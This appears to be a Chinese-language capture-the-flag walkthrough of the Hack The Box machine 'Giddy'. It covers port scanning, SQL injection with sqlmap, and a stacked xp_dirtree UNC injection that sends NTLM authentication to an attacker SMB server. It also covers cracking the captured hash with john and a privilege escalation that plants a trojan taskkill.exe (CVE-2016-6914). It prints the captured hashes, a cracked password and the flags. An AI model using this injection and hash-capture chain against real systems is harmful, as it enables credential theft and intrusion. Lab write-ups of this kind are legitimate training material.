Giddy_Medium

Giddy_Medium

img

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
namp:
--min-rate 10000 10000速率来扫描
-p- 全端口
-p80,135 指定80,135端口扫描
-sU 指定udp扫描
-sT 指定tcp协议
-sV 扫描服务版本
-sC 默认脚本扫描
-O 对操作系统和版本探测
--script=vuln 进行基础漏洞扫描


nmap -p- --min-rate 10000 10.129.96.140
nmap -p- -sU --min-rate 10000 10.129.96.140
nmap -p80,443,3389,5985 -sV -sC -sT -O 10.129.96.140
nmap -p80,443,3389,5985 --script=vuln 10.129.96.140

扫描端口发现其开放 80,443,3389,5985端口 有用的一些信息为:

1
2
3
4
5
6
7
8
关于远程桌面协议(RDP)的NTLM认证信息

Target_Name: GIDDY:目标的名称是GIDDY。
NetBIOS_Domain_Name: GIDDY:在NetBIOS中,目标的域名是GIDDY。
NetBIOS_Computer_Name: GIDDY:在NetBIOS中,目标计算机的名称是GIDDY。
DNS_Domain_Name: Giddy:在DNS中,目标的域名是Giddy。
DNS_Computer_Name: Giddy:在DNS中,目标计算机的名称是Giddy。
Product_Version: 10.0.14393:目标系统的产品版本是 10.0.14393

img

访问80/443页面均为小狗图片,无功能点,使用dirsearch扫描路径

1
python3 dirsearch.py -r -u https://10.129.96.140/

img

获取到的有效目录为

1
2
https://10.129.96.140/mvc/
https://10.129.96.140/Remote/en-US/logon.aspx?ReturnUrl=%2fremote%2flogin

一个购物页面

img

一个web端的powershell登录页面

img

漏洞探测

https://10.129.96.140/mvc/ 页面发现多处SQL注入漏洞

如:https://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=24 经典的单引号报错

img

放进sqlmap

1
2
3
4
5
sqlmap -u https://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=24 --batch --is-dba --dbs

--batch 告诉sqlmap以批处理模式运行,即自动化执行所有的测试和攻击步骤,而无需用户交互。这对于批量测试多个目标非常有用。
--is-dba 用于检测当前用户是否具有数据库管理员(DBA)权限。如果当前用户是DBA,sqlmap将使用更强大的技术和攻击方法来探测和利用漏洞。
--dbs 用于获取目标数据库服务器上的所有可用数据库列表。sqlmap将尝试枚举并列出目标服务器上的数据库名称。

得到的信息为:

  1. 目标网站存在注入为:布尔型盲注,内联查询注入,报错型注入,时间型盲注,UNION 查询注入,堆叠注入。不具有数据库管理员(DBA)权限
  2. 目标网站使用的后端数据库管理系统(DBMS)是Microsoft SQL Server 2016
  3. 目标网站的操作系统可能是Windows 2022、Windows 10、Windows 2016、Windows 2019或Windows 11
  4. 目标网站使用的Web应用技术是ASP.NET,Web服务器是Microsoft IIS 10.0,ASP.NET的版本是4.0.30319
  5. 发现5个可用的数据库,它们分别是:Injection,master,model,msdb,tempdb

img

漏洞利用

将数据库dump出来查看,无可用信息。

通过mssql 堆叠注入,利用函数 xp_dirtree + UNC 可以触发 NTLM 认证,带出服务器的 NET-NTLM hash

这里参考了三篇文章:mssql堆叠注入利用总结,[域渗透] SQLSERVER 结合中继与委派How to Use xp_dirtree to List All Files in a Folder – Everyday SQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
提到的几个概念:

xp_dirtree是SQL Server中的一个存储过程,它可以返回一个目录及其子目录中所有文件的列表。它可以用来访问本地或远程系统上的文件。

UNC是Universal Naming Convention的简称,它是一种用于指定网络资源的方式,如\\server\share\path\file。

NTLM是Microsoft Windows平台上的一种身份验证协议。

NET-NTLM hash是NTLM协议中使用的一种密码哈希。



关于如何使用xp_dirtree和UNC来触发NTLM认证,从而获取服务器的NET-NTLM hash。这是一种攻击技术,通常称为"NTLM Relay Attack"。这种攻击的基本步骤如下:

攻击者在自己的机器上设置一个监听器,等待NTLM认证请求。

攻击者通过SQL注入或其他手段,使目标服务器执行xp_dirtree,并使用UNC路径指向攻击者的机器。

当目标服务器尝试访问该UNC路径时,它会发送一个NTLM认证请求到攻击者的机器。

攻击者的机器接收到这个请求,并获取到NET-NTLM hash。

使用 impacket-smbserver,通过xp_dirtree函数连接到该服务获取到相应的哈希

1
2
3
4
mkdir smb 	# 创建 smb 目录
cd smb # 进入 smb目录
impacket-smbserver share `pwd` # 在当前目录启动 SMB server,共享名称为 share,反引号 pwd 来获取当前目录的路径,并将该路径作为共享目录。在命令执行后,其他计算机可以通过SMB协议访问共享名称为 "share" 的目录
;exec xp_dirtree '\\10.10.14.15\share';--

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.96.140,49714)
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User GIDDY\Stacy authenticated successfully
[*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:334223febb33d8eeef0ee93deddbd9a9:0101000000000000007f1f005206da0140031a75096245b600000000010010006200710047004d00530076004f004700030010006200710047004d00530076004f004700020010006f00470076004f004b0063007a005400040010006f00470076004f004b0063007a00540007000800007f1f005206da0106000400020000000800300030000000000000000000000000300000fe20d99ed518821e757fa75f815931c59c97175ac0244f99b0e3d6f0708293f20a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003500000000000000000000000000
[*] AUTHENTICATE_MESSAGE (GIDDY\Stacy,GIDDY)
[*] User GIDDY\Stacy authenticated successfully
[*] Stacy::GIDDY:aaaaaaaaaaaaaaaa:3ccb4ab60836158fa44c35c421fb2dea:010100000000000000ac50015206da014aaa6878a74ae00c00000000010010006200710047004d00530076004f004700030010006200710047004d00530076004f004700020010006f00470076004f004b0063007a005400040010006f00470076004f004b0063007a0054000700080000ac50015206da0106000400020000000800300030000000000000000000000000300000fe20d99ed518821e757fa75f815931c59c97175ac0244f99b0e3d6f0708293f20a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003500000000000000000000000000
[*] Disconnecting Share(1:SHARE)
[*] Closing down connection (10.129.96.140,49714)
[*] Remaining connections []

使用john破解hash

1
john --wordlist=/usr/share/wordlists/rockyou.txt hash

img用户名:GIDDY\Stacy 密码:xNnWo6272k7x

img

img

在Desktop目录找到第一个flag:5499a3fdc3d0a109edec1897db85ad44

img

权限提升

当前用户权限过低,大部分命令无法执行

img

谷歌一下unifivideo,发现是一个视频监控服务,UniFi Video是Ubiquiti Networks开发的一个视频监控软件,旨在提供易于使用的视频监控解决方案。它可以通过Ubiquiti的UniFi NVR硬件或在用户自己的服务器上运行。

UniFi Video支持多种视频监控设备和摄像头,并提供了许多功能,如实时监控、录像回放、活动检测、警报通知等。此外,它还提供了一个基于Web的用户界面,可让用户轻松管理和配置其视频监控系统。

1
2
3
4
5
searchsploit unifi video					#searchsploit是一个用于搜索和利用已知漏洞的命令行工具,而"unifi video"是指Ubiquiti Networks的一个视频监控软件。通过在命令行中运行searchsploit unifi video,您可以搜索与Unifi Video相关的已知漏洞。

searchsploit -m 43390.txt #这个命令使用searchsploit工具并结合-m选项,用于将特定漏洞的详细信息显示在终端上。43390.txt是一个漏洞编号或漏洞描述文件的示例。

cat 43390.txt #cat命令用于查看文件的内容,而43390.txt是一个文件名的示例。

img

img

Ubiquiti UniFi Video中存在本地提权漏洞。本地攻击者可利用该漏洞以提升的权限执行任意代码。漏洞编号为CVE-2016-6914,在UniFi Video运行时会在目录 C:\ProgramData\unifi-video 下运行一个 taskkill.exe ,并提权,利用方式即为在目录下上传一个名为 taskkill.exe 的木马,再重启UniFi Video。

img

cs生成一个exe木马,利用impacket-smbserver上传到靶机,再关闭开启Ubiquiti UniFi Video服务

1
2
3
copy \\10.10.14.15\Share\taskkill.exe taskkill.exe
Stop-Service "Ubiquiti UniFi Video"
start-service unifivideoservice

img

img

img

找到第二个flag:4d9456312a4bbb1fab9a3e9f48956532

img